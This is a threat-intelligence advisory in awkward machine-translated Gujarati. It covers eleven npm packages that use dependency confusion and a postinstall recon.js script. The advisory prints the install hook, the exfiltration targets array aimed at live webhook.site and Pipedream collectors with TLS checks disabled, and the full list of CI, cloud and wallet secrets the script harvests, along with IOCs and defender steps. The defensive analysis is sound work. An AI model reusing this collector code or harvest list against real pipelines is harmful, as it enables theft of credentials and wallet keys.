TL; DR
૨૦૨૬-૦૬-૧૭ ના રોજ, એક સિંગલ npm એકાઉન્ટ પ્રકાશિત થયું અગિયાર પેકેજો જે એક હેતુ અને એક પેલોડ શેર કરે છે. તેમાંથી દસ લોકો cryptodao- ઉપસર્ગ (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); અગિયારમો સ્કોપ્ડ છે @public-for-cdao/core. દરેક એક આવૃત્તિમાં પ્રકાશિત થયું હતું 99.99.99 અને બાઈટ-સમાન મોકલે છે recon.js જે ચાલે છે postinstall.
નામો જ કહે છે. તેઓ ક્રિપ્ટો/DAO પ્રોજેક્ટના ખાનગી ટૂલચેઇનના આંતરિક બિલ્ડીંગ બ્લોક્સ જેવા વાંચે છે. કૃત્રિમ રીતે ઉચ્ચ સંસ્કરણ પર જાહેર npm રજિસ્ટ્રીમાં પ્રકાશિત, તેઓ બિલ્ડની રાહ જોતા બેસે છે pipeline જે તે નામોને ઉકેલવા માટે ગોઠવેલ છે અને જે ખાનગી રજિસ્ટ્રી પહેલાં - અથવા તેના બદલે - જાહેર npm સુધી પહોંચે છે. આ છે નિર્ભરતા મૂંઝવણ, અને પેલોડ બરાબર તે સ્થાન માટે ટ્યુન થયેલ છે જ્યાં તે ઉતરવાની અપેક્ષા રાખે છે: CI/CD દોડવીરો.
ક્યારે postinstall આગ, recon.js યજમાનની વિગતો એકત્રિત કરે છે, લગભગ સાફ કરે છે ચાલીસ ક્લાઉડ, CI, અને ક્રિપ્ટો-વોલેટ પર્યાવરણ ચલો, કોઈપણ વાંચે છે .env ફાઇલો શોધી શકે છે અને ગુપ્ત રેખાઓને શબ્દશઃ ફોરવર્ડ કરે છે, પછી બંડલને બે કલેક્ટર્સને ટ્રાન્સમિટ કરે છે — webhook.site અને પાઇપડ્રીમ એન્ડપોઇન્ટ — TLS પ્રમાણપત્ર ચકાસણી અક્ષમ સાથે. એક નકલ પણ નીચે લખેલી છે /tmp.
તીવ્રતા: ઉચ્ચ. અસરગ્રસ્ત ઇકોસિસ્ટમ: npmલખતી વખતે બધા અગિયાર પેકેજો લાઇવ હતા.
હુમલો શરીરરચના
આ મિકેનિઝમમાં ચાર ગતિશીલ ભાગો છે, અને એકવાર તમે જાણો છો કે તેમાંથી કોઈ પણ સૂક્ષ્મ નથી પેકેજ નામની પાછળ એક સ્તર જુઓ.
૧. રિઝોલ્વર લ્યુર તરીકે વર્ઝન ઇન્ફ્લેશન. દરેક પેકેજ સંસ્કરણ જાહેર કરે છે 99.99.99. જ્યારે પેકેજ મેનેજર, આંતરિક નામ, જાહેર રજિસ્ટ્રી પણ તપાસે છે અને ઉચ્ચતમ સંસ્કરણ પસંદ કરે છે શોધે છે. કેરેટ અથવા વાઇલ્ડકાર્ડ શ્રેણી માટે npm ની ડિફોલ્ટ પસંદગી છે દરેક રૂપરેખાંકિત સ્ત્રોતમાં સૌથી વધુ સંતોષકારક સંસ્કરણ; જો બંને ખાનગી હોય રજિસ્ટ્રી અને પબ્લિક npm જવાબ સમાન નામ માટે, જે મોટો વર્ઝન નંબર જીતે છે. A 99.99.99 પ્રોજેક્ટ પાસે હશે તે કોઈપણ વાસ્તવિક આંતરિક સંસ્કરણ કરતાં મૂળભૂત રીતે આગળ નીકળી જાય છે પહોંચી ગયું છે, તેથી ખાનગી સ્ત્રોત સાથે પિન ન થયેલ રિઝોલ્વર પસંદ કરે છે જાહેર - અને આ કિસ્સામાં, પ્રતિકૂળ - નકલ. ઓપરેટરને જાણવાની જરૂર નથી કે લક્ષ્યના વાસ્તવિક સંસ્કરણ નંબરો; વાહિયાત મહત્તમ પસંદ કરવાથી હંમેશા ટાઇની ખાતરી મળે છે તેમનો રસ્તો તોડી નાખે છે.
2. પોસ્ટઇન્સ્ટોલ ટ્રિગર. પેકેજ.જેસન પેલોડને ઇન્સ્ટોલમાં વાયર કરે છે જીવનચક્ર:
{ "scripts": { "postinstall": "node recon.js" } } પેકેજની આયાત કરવાની જરૂર નથી. ફક્ત તેને ઇન્સ્ટોલ કરવું - જે CI pipeline આપમેળે ચાલે છે — ચાલે છે રીકોન.જેએસ.
૩. એક વ્યાપક ગુપ્ત શોધ. રીકોન.જેએસ તબક્કાવાર પરિણામોની શ્રેણી એસેમ્બલ કરે છે:
- હોસ્ટ સંદર્ભ: હોસ્ટનામ, પ્લેટફોર્મ અને રિલીઝ, આર્કિટેક્ચર, વપરાશકર્તા નામ, કાર્યરત ડિરેક્ટરી.
- પર્યાવરણ ચલો: તે લગભગ ચાલીસ નામો અને રેકોર્ડ્સની નિશ્ચિત યાદીનું પુનરાવર્તન કરે છે. કોઈપણ જે સેટ છે. યાદી ખુલી રહી છે — તે સામાન્ય CI ટોકન્સને જોડે છે (સીઆઈ_જોબ_ટોકન, CI_REGISTRY_PASSWORD, ગિટલેબ_એક્સેસ_ટોકન) અને વાદળ ઓળખપત્રો (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) રજિસ્ટ્રી અને કન્ટેનર રહસ્યો સાથે (NPM_TOKEN, ડોકર_પાસવર્ડ, હાર્બર_પાસવર્ડ) અને એક સ્પષ્ટ ક્રિપ્ટો-સ્વાદવાળું ક્લસ્ટર: ખાનગી_કી, યાદગીરી, બીજ_શબ્દસમૂહ, ઇન્ફ્યુરા_એપીઆઈ_કી, રસાયણશાસ્ત્ર_API_કી, ETH_RPC, BSC_RPCરેકોર્ડ કરેલા મૂલ્યો પહેલા 50 અક્ષરો સુધી કાપવામાં આવે છે.
- .env ફાઇલો: તે પાથની યાદી તપાસે છે — .env, ../.env, /એપ/.env, /એપ/બેકએન્ડ/.env, /એપ/બોટ/.env, /home/gitlab-runner/.env, /રુટ/.env, અને .ઉત્પાદન/.વિકાસ ચલો — અને અસ્તિત્વમાં રહેલી કોઈપણ ફાઇલ માટે, તે મેળ ખાતી રેખાઓ માટે સામગ્રીને ફિલ્ટર કરે છે ચાવી|ગુપ્ત|ટોકન|પાસ|ખાનગી|યાદગીરી અને તે રેખાઓને **સંપૂર્ણ, અખંડ** રીતે પરિણામોમાં ધકેલે છે.
- બિલ્ડ-હોસ્ટ સંદર્ભ: તે પ્રથમ 20 એન્ટ્રીઓની યાદી આપે છે /બિલ્ડ્સ/, /હોમ/ગિટલેબ-રનર/બિલ્ડ્સ/, /var/lib/gitlab-રનર/, અને / tmp /.
પાથ સૂચિ અને ચલ સૂચિ ગિટલેબ દોડવીરો તરફ ભારિત છે, જે નિર્દેશ કરે છે ડેવલપર કરતાં સ્વ-હોસ્ટેડ CI ઇન્ફ્રાસ્ટ્રક્ચર પર પેલોડ બરાબર લેપટોપ. શ્રેણી દ્વારા લણણીની યાદીને જૂથબદ્ધ કરવાથી ઇચ્છિત માલસામાનની ખરીદી સરળ બને છે:
| વર્ગ | ચલો / પાથ સુધી પહોંચ્યા |
|---|---|
| CI/CD ઓળખ અને જમાવટ | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| મેઘ | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| રજિસ્ટ્રી અને કન્ટેનર | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| ડેટા સ્ટોર્સ | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| ક્રિપ્ટો / બ્લોકચેન | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| મેસેજિંગ | SLACK_TOKEN, DISCORD_TOKEN |
| ડિસ્ક પર | .env કુટુંબ + /home/gitlab-runner/.env, /root/.env, /app/**/.env; ની ડિરેક્ટરી સૂચિઓ /builds/, /var/lib/gitlab-runner/ |
ક્રિપ્ટો ક્લસ્ટર એ ભાગ છે જે તેને સામાન્ય CI-સિક્રેટથી અલગ પાડે છે સ્વીપ: વોલેટ સીડ શબ્દસમૂહો અને સહી કરવાની ચાવીઓ ફક્ત એક વાતાવરણમાં જ દેખાય છે બ્લોકચેન પ્રોજેક્ટ, અને તેઓ સીધા જ મેપ કરે છે ક્રિપ્ટોડાઓ-/સાઇન/કરાર વાહકોના નામકરણ.
4. ચકાસણી અક્ષમ સાથે ડ્યુઅલ એક્સફિલ્ટ્રેશન. એકત્રિત શ્રેણી છે શ્રેણીબદ્ધ અને બે સ્થળોએ પોસ્ટ કરેલ:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) અસ્વીકાર અનધિકૃત: ખોટું આઉટબાઉન્ડ માટે TLS પ્રમાણપત્ર તપાસ બંધ કરે છે. કોલ કરે છે. આ જ ડેટા stdout પર છાપવામાં આવે છે (જેથી તે CI જોબ લોગમાં પણ આવે છે) અને ને લખેલું /tmp/.npm_recon_ .જેસન. ભૂલો શાંતિથી ગળી જાય છે, તેથી a નિષ્ફળ મોકલવાથી ઇન્સ્ટોલ આઉટપુટમાં એકથી વધુ કોઈ નિશાન છોડતું નથી [રિકોન] પર ઇન્સ્ટોલ કરેલ રેખા.
ફાઇલમાં એક અગ્રણી ટિપ્પણી તેને "નિર્ભરતા મૂંઝવણ" તરીકે વર્ણવે છે. "રિકોનિસન્સ પેલોડ." પર્યાવરણીય મૂલ્યોને 50 અક્ષરો સુધી કાપવાથી ખ્યાલના પુરાવાનો આકાર. જે તેને ફક્ત હાજરી-માત્ર દીવાદાંડીથી આગળ લઈ જાય છે તે છે .env હેન્ડલિંગ: ગુપ્ત-ધારક રેખાઓ સંપૂર્ણ રીતે આગળ મોકલવામાં આવે છે, અને ગંતવ્ય સ્થાનો બે કાર્યરત, હુમલાખોર-નિયંત્રિત કલેક્ટર્સ છે, એક સિંક નહીં જે ફક્ત ગણાય છે હિટ.
સમયરેખા
પ્રકાશન પેટર્ન એ એક જ સ્ક્રિપ્ટેડ પુશનું સિગ્નેચર છે, અગિયારનું નહીં સ્વતંત્ર અપલોડ્સ.
| સમય (UTC, 2026-06-17) | ઇવેન્ટ |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 પ્રકાશિત |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — સ્કોપ્ડ વેરિઅન્ટ, ~24 મિનિટ પછી |
૨૯ સેકન્ડની વિન્ડોમાં દસ પેકેજો બહાર ગયા, લગભગ દર ત્રણ સેકન્ડે એક. સ્કોપ્ડ @cdao/કોર માટે પબ્લિક લગભગ 24 મિનિટ પછી - એક સેકન્ડ પછી જો ઉપભોક્તા પ્રોજેક્ટ સંદર્ભિત કરે તો, સમાન લક્ષ્ય માટે નામકરણ પ્રણાલી આંતરિક ટૂલચેઇન ખાલી નામોને બદલે એક અવકાશ હેઠળ.
સમાધાનના સૂચકો
| પ્રકાર | સૂચક |
|---|---|
| કલેકટર | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| કલેકટર | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| હૂક ઇન્સ્ટોલ કરો | postinstall: node recon.js |
| ફાઇલ છોડી દીધી | /tmp/.npm_recon_<timestamp>.json |
| લોગ માર્કર | [recon] <pkg>@<ver> installed on <hostname> (CI લોગમાં stdout) |
| વર્તણૂક | rejectUnauthorized: false ઇન્સ્ટોલ દરમિયાન આઉટબાઉન્ડ HTTPS પર |
| પેલોડ | recon.js, બધા અગિયાર પેકેજોમાં સમાન (એક શેર્ડ બિલ્ડ) |
| આવૃત્તિ | 99.99.99 દરેક પેકેજ પર |
| પેકેજો | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (બધા 99.99.99) |
| પ્રકાશક | aduljune / aduljune@proton.me (ઇમેઇલ ચકાસાયેલ નથી, કોઈ લિંક કરેલ સ્રોત ભંડાર નથી) |
એટ્રિબ્યુશન અને અવલોકન કરાયેલ વર્તન
ક્લસ્ટર વિશેની બધી બાબતો એક તરફ નિર્દેશ કરે છે. બધા અગિયાર પેકેજો પ્રકાશિત થયા હતા. npm એકાઉન્ટ દ્વારા એડુલજુન (aduljune@proton.me પર ઇમેઇલ મોકલો, એક વણચકાસાયેલ સરનામું જેમાં કોઈ નથી લિંક્ડ સોર્સ રિપોઝીટરી), 25 મિનિટના ગાળામાં, તે જ સમયે 99.99.99 સંસ્કરણ, શિપિંગ a રીકોન.જેએસ જેની સામગ્રી દરેકમાં બાઇટ-બાય-બાઇટ સમાન છે પેકેજ (તમામ અગિયાર કાઢેલી નકલોમાં MD5 મેળ ખાય છે). તે એક પેલોડ છે નામોની યાદી પર સ્ટેમ્પ્ડ, સ્વતંત્ર કોડ પુનઃઉપયોગ પર નહીં.
નામ યાદી ઇચ્છિત લક્ષ્યને વ્યાખ્યાયિત કરે છે. ક્રિપ્ટોડાઓ-* અને cdao વર્ણન કરો ક્રિપ્ટો/DAO પ્રોજેક્ટનું ખાનગી મોડ્યુલ લેઆઉટ, અને પેલોડની હાર્વેસ્ટ સૂચિ અનુમાન લગાવતા અરીસાઓ: સામાન્ય CI અને ક્લાઉડ રહસ્યોની સાથે, તે ખાસ કરીને સુધી પહોંચે છે ખાનગી_કી, યાદગીરી, બીજ_શબ્દસમૂહ, અને ઇથેરિયમ/બીએસસી આરપીસી અને પ્રદાતા કીઓ. આ .env શોધ પાથ અને ડિરેક્ટરી સૂચિઓ ગિટલેબ-રનર છે ચોક્કસ. અવલોકનક્ષમ અસર એ છે કે કોઈપણ pipeline આ ઇન્સ્ટોલ કરવા માટે છેતરપિંડી કરી નામો તેના CI ટોકન્સ, ક્લાઉડ કી અને ઓન-ડિસ્ક ફોરવર્ડ કરશે .env રહસ્યો - અને, માટે એક બ્લોકચેન પ્રોજેક્ટ, તેનું વોલેટ મટિરિયલ - બે તૃતીય-પક્ષ કલેક્ટર્સને.
અમે આ એકાઉન્ટ કોણ ચલાવે છે અથવા તેઓ તેની સાથે શું કરવાની યોજના ધરાવે છે તે અંગે કોઈ દાવો કરતા નથી ડેટા. હકીકતો જે પોતાના પર ઊભા છે: નામો ચોક્કસ પ્રકારના આંતરિક ટૂલચેન, પેલોડ વાસ્તવિક ગુપ્ત મૂલ્યો વાંચે છે અને ટ્રાન્સમિટ કરે છે, અને ઈન્ફ્રાસ્ટ્રક્ચર લાઈવ હતું.
અસર, વલણો અને ડિફેન્ડર માર્ગદર્શન
નિર્ભરતા મૂંઝવણ અસરકારક રહે છે કારણ કે તે રિઝોલ્વર વર્તણૂકનો ઉપયોગ કરે છે, નહીં કે a કોઈપણ પેકેજમાં નબળાઈ. અહીં વાહક નજીવો છે - અગિયાર લગભગ ખાલી પેકેજો - પરંતુ બ્લાસ્ટ ત્રિજ્યા ગમે તે હોય pipeline ભૂલથી પબ્લિક npm પસંદ કરે છે આંતરિક નામ માટે. CI દોડવીરો આવું થવા માટે સૌથી ખરાબ સ્થળ છે: તેઓ પકડી રાખે છે બરાબર ટોકન્સ અને .env આ પેલોડ ફાઇલો વાંચે છે, અને તેઓ ઇન્સ્ટોલ કરે છે નિર્ભરતાઓ બિન-પરસ્પર ક્રિયાપ્રતિક્રિયાત્મક રીતે, તેથી a પોસ્ટઇન્સ્ટોલ કોઈ જોયા વગર દોડે છે.
આ ક્લસ્ટર એક પેટર્નમાં પણ બંધબેસે છે જે આપણે જોતા રહીએ છીએ: ઇન્સ્ટોલ-ટાઇમ પેલોડ્સ જે હાજર છે વાસ્તવિક ઓળખપત્ર સંગ્રહ કરતી વખતે "સંશોધન" અથવા "જાસૂસી" તરીકે. લેબલ ફાઇલમાં કોડ રનર પર શું કરે છે તે બદલાતું નથી. બે ડિઝાઇન પસંદગીઓ રાખે છે પ્રવૃત્તિ શાંત: દરેક નેટવર્ક અને ફાઇલસિસ્ટમ કામગીરી એકમાં લપેટાયેલી છે અપવાદ હેન્ડલર જે ભૂલોને કાઢી નાખે છે, તેથી મોકલવાનું અવરોધિત છે અથવા ફાઇલ ખૂટે છે કોઈ ડાયગ્નોસ્ટિક આઉટપુટ ઉત્પન્ન કરતું નથી, અને છાપવામાં આવેલી એકમાત્ર વસ્તુ એક જ નિર્દોષ છે [રિકોન] ... ઇન્સ્ટોલ કરેલ સામાન્ય ઇન્સ્ટોલ ચેટરમાં ભળી જાય તેવી લાઇન. નો ઉપયોગ વેબહૂક.સાઇટ અને પાઇપડ્રીમ પણ ઇરાદાપૂર્વકની સુવિધા છે - બંને મફત છે, તાત્કાલિક વિનંતી-કેપ્ચર સેવાઓની જોગવાઈ, જેથી ઓપરેટરને કોઈ સર્વરની જરૂર ન પડે તેમના પોતાના અને ગંતવ્ય સ્થાનો એગ્રેસ લોગમાં સામાન્ય SaaS હોસ્ટનામો જેવા દેખાય છે.
અર્થશાસ્ત્ર જ આને બચાવકર્તાના ધ્યાનને પાત્ર બનાવે છે, ભલે કેરિયર કોડ નજીવો છે. અગિયાર નામો નોંધાવવા માટે કોઈ ખર્ચ થતો નથી, પેલોડ એક છે ફાઇલ અગિયાર વખત કૉપિ થઈ, અને પેકેજ મેનેજર બધી એક્ઝેક્યુશન કરે છે. એક સિંગલ ખોટી રીતે ગોઠવેલ pipeline જ્યાં પણ આ નામોમાંથી કોઈ એકનું સેવન કરે છે તે આખા માટે ચૂકવણી કરે છે કામગીરી
ડિફેન્ડર્સ માટે નક્કર પગલાં:
- તમારી ખાનગી રજિસ્ટ્રીમાં આંતરિક સ્કોપ્સ પિન કરો. npm ને આંતરિક નામો તરીકે ગોઠવો
અને સ્કોપ્સ ફક્ત તમારી રજિસ્ટ્રી સામે જ ઉકેલાય છે (સ્કોપ્ડ .npmrc રજિસ્ટ્રી મેપિંગ્સ, અથવા એક પ્રોક્સી જે ક્યારેય માલિકીના નેમસ્પેસ માટે પબ્લિક npm માં આવતી નથી). તમારા પબ્લિક સ્કોપ નામો અનામત રાખો જેથી બીજું કોઈ તેમને રજીસ્ટર ન કરી શકે.
- Commit લોકફાઇલો અને –ignore-scripts સાથે ઇન્સ્ટોલ કરો CI માં જ્યાં શક્ય હોય, અથવા નાના ડિપેન્ડન્સી સેટની તપાસ કરો જેને ખરેખર સ્ક્રિપ્ટ ઇન્સ્ટોલ કરવાની જરૂર છે. જો recon.js ચાલી શકતું નથી પોસ્ટઇન્સ્ટોલ ચલાવવામાં આવતું નથી.
- ૯૯.૯૯.૯૯ (અથવા અન્ય વાહિયાત રીતે ઉચ્ચ) સંસ્કરણને આંતરિક દેખાતા નામ તરીકે ગણો લાલ ધ્વજ તરીકે નિર્ભરતા સમીક્ષા અને રજિસ્ટ્રી દેખરેખમાં.
- ઇન્સ્ટોલ-સમય બહાર નીકળવા પર ચેતવણી. A પોસ્ટઇન્સ્ટોલ જે આઉટબાઉન્ડ HTTPS ખોલે છે કનેક્શન — ખાસ કરીને પ્રમાણપત્ર ચકાસણી અક્ષમ હોય તો — થી webhook.site, Pipedream, અથવા સમાન વિનંતી-કેપ્ચર સેવાઓ નેટવર્ક ધાર પર અવરોધિત કરવા અને બિલ્ડ લોગમાં ફ્લેગ કરવા યોગ્ય છે.
- કલાકૃતિઓ શોધો. દોડવીરો માટે તપાસો /tmp/.npm_recon_*.json અને માટે [recon] … તાજેતરના CI લોગમાં … માર્કર પર ઇન્સ્ટોલ કરેલ છે. જો મળે, તો દરેકને ફેરવો તેની સામે આવેલું ઓળખપત્ર pipeline — CI ટોકન્સ, ક્લાઉડ કી, રજિસ્ટ્રી ટોકન્સ, અને પર્યાવરણ અથવા .env ફાઇલોમાં હાજર કોઈપણ વોલેટ સીડ્સ અથવા ખાનગી કી.
સંદર્ભ
લખતી વખતે આ ક્લસ્ટર પર કોઈ બાહ્ય રિપોર્ટિંગ અસ્તિત્વમાં નહોતું; વિશ્લેષણ ઉપરોક્ત પ્રકાશિત પેકેજ સામગ્રી પર સીધા આધારિત છે




